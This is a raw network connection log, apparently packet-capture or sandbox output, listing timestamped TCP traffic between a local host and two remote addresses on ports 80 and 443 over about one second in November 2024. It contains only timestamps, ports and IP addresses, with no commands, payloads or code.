Nov 18, 2024 23:04:09.554733992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.554759979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.559288979 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.560092926 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.560280085 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.560280085 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.560281038 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.562298059 CET	49805	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.562416077 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.562491894 CET	49805	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.562602043 CET	49805	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.562624931 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.632466078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.632496119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.632531881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.632555008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.632579088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.632579088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.632585049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.632637024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.632855892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.632910967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.632986069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.633016109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.633033991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.633049011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.633069992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.633084059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.633107901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.633121967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.633137941 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.633155107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.633160114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.633203030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.633388996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.633443117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.633514881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.633544922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.633564949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.633594036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.633595943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.633630037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.633645058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.633686066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.633809090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.633862972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.633879900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.633915901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.633932114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.633949995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.633970976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.633984089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.634001017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.634037971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.674966097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.674989939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.675008059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.675030947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.675044060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.675084114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.675085068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.692410946 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.692456007 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.692496061 CET	49801	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.692603111 CET	49801	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.692624092 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.692636967 CET	49801	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.692642927 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.694542885 CET	49806	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.694632053 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.694715977 CET	49806	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.694824934 CET	49806	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.694849968 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.752549887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.752650023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.752679110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.752731085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.752824068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.752871990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.752955914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.752990961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.753002882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.753035069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.754070044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.754199982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.754462004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.754497051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.754508018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.754537106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.756058931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.756092072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.756140947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.756174088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.756207943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.756239891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.756242037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.756242037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.756242990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.756242990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.756242990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.756274939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.756309032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.756325006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.756325006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.756345034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.756350040 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.756377935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.756392956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.756429911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.756432056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.756479025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.795064926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.795099974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.795134068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.795156956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.795156956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.795265913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.795356035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.795388937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.795411110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.795427084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.795434952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.795485020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.820729017 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.821073055 CET	49803	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.821090937 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.821439981 CET	49803	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.821444988 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.867080927 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.867129087 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.873009920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.873049974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.873106003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.873106003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.873122931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.873158932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.873164892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.873197079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.873214960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.873233080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.873253107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.873274088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.873277903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.873317003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.873522997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.873555899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.873574018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.873598099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.873610020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.873645067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.873657942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.873688936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.873699903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.873734951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.873749971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.873771906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.873785019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.873821020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.874497890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.874531031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.874566078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.874566078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.874567986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.874614954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.916017056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.916040897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.916059017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.916074038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.916088104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.916100979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.916100979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.916105986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.916141033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.916161060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.940289974 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.940820932 CET	49804	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.940881968 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.941108942 CET	49804	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.941123962 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.955732107 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.955816031 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.955879927 CET	49803	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.955964088 CET	49803	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.955974102 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.955982924 CET	49803	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.955987930 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.958164930 CET	49807	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.958225965 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.958304882 CET	49807	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.958422899 CET	49807	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.958444118 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.992942095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.992984056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.993017912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.993046999 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.993046999 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.993083000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.993119955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.993155003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.993172884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.993189096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.993204117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.993240118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.993346930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.993381977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.993400097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.993418932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.993422985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.993462086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.993653059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.993686914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.993710995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.993720055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.993732929 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.993757963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.993982077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.994015932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.994035959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.994107008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.994119883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.994144917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.994153976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.994195938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.994415045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.994467974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.994795084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.994843960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.035794020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.035840988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.035859108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.035909891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.035943985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.036045074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.036062002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.036077023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.036093950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.036102057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.036129951 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.036154985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.036233902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.036283970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.036379099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.036393881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.036427975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.036458969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.036652088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.036700964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.070276976 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.070333958 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.070394993 CET	49804	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.070481062 CET	49804	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.070527077 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.070558071 CET	49804	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.070574045 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.072813988 CET	49808	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.072848082 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.072923899 CET	49808	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.073060036 CET	49808	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.073074102 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.113008976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.113049984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.113074064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.113092899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.113102913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.113137007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.113162041 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.113172054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.113188982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.113208055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.113210917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.113246918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.113300085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.113334894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.113353014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.113377094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.113612890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.113667011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.113667965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.113704920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.113718987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.113749027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.114005089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.114038944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.114057064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.114073992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.114094019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.114115000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.154731989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.154766083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.154783964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.154867887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.155865908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.155900955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.155936956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.155972004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.156045914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.156045914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.156172991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.156205893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.156233072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.156239986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.156254053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.156280041 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.156459093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.156511068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.156572104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.156601906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.156622887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.156658888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.156773090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.156806946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.156826019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.156850100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.269886017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.269947052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.269983053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.270018101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.270052910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.270087004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.270097017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.270124912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.270148993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.270148993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.270175934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.270221949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.270256042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.270272017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.270291090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.270303965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.270325899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.270337105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.270360947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.270379066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.270405054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.276413918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.276473045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.276477098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.276508093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.276521921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.276562929 CET	49794	80	192.168.2.4	31.41.244.11
